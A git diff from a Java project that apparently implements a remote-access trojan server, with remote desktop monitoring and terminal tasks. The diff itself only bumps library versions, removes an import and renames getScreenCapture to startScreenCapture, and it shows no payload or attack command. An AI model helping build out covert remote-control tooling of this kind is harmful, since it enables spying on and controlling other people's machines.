diff --git a/pom.xml b/pom.xml index 3dbb7c5..87149e3 100644 --- a/pom.xml +++ b/pom.xml @@ -26,7 +26,7 @@ org.slf4j slf4j-simple - 1.6.1 + 1.7.32 @@ -34,7 +34,7 @@ com.squareup.okhttp3 okhttp - 4.9.1 + 4.9.3 diff --git a/shade/Server.jar b/shade/Server.jar index 40361bb..f603239 100644 Binary files a/shade/Server.jar and b/shade/Server.jar differ diff --git a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java index 0bab691..f893c88 100644 --- a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java +++ b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java @@ -4,7 +4,6 @@ import greek.horse.models.*; import greek.horse.server.troyStructure.request.RecurrentTroyRequest; import greek.horse.server.troyStructure.request.TroyRequest; import greek.horse.server.troyStructure.request.UniqueTroyRequest; -import greek.horse.server.ui.controllers.HorseController; import greek.horse.server.ui.controllers.tasks.ChatTask; import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask; import greek.horse.server.ui.controllers.tasks.TerminalTask; @@ -71,7 +70,7 @@ public class TroyPlebe { requests.add(req); } - public RecurrentTroyRequest getScreenCapture(MonitorDesktopWrapper wrapper) { + public RecurrentTroyRequest startScreenCapture(MonitorDesktopWrapper wrapper) { RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START); requests.add(req); return req; diff --git a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java index be10ac1..144a664 100644 --- a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java +++ b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java @@ -124,7 +124,7 @@ public class MonitorDesktopTask implements Runnable { double w = controller.getStage().getWidth() - 50; double h = controller.getStage().getHeight() - 70; - request = plebe.getScreenCapture(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0)); + request = plebe.startScreenCapture(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0)); ObservableList observableList = request.getObservableReceivedObjs(); diff --git a/target/chat-1.0-SNAPSHOT.jar b/target/chat-1.0-SNAPSHOT.jar index 28cf1d3..080f963 100644 Binary files a/target/chat-1.0-SNAPSHOT.jar and b/target/chat-1.0-SNAPSHOT.jar differ diff --git a/target/classes/greek/horse/server/troyStructure/TroyPlebe.class b/target/classes/greek/horse/server/troyStructure/TroyPlebe.class index b70f2eb..6bce4e3 100644 Binary files a/target/classes/greek/horse/server/troyStructure/TroyPlebe.class and b/target/classes/greek/horse/server/troyStructure/TroyPlebe.class differ diff --git a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class index 80c585c..bb346aa 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class and b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class differ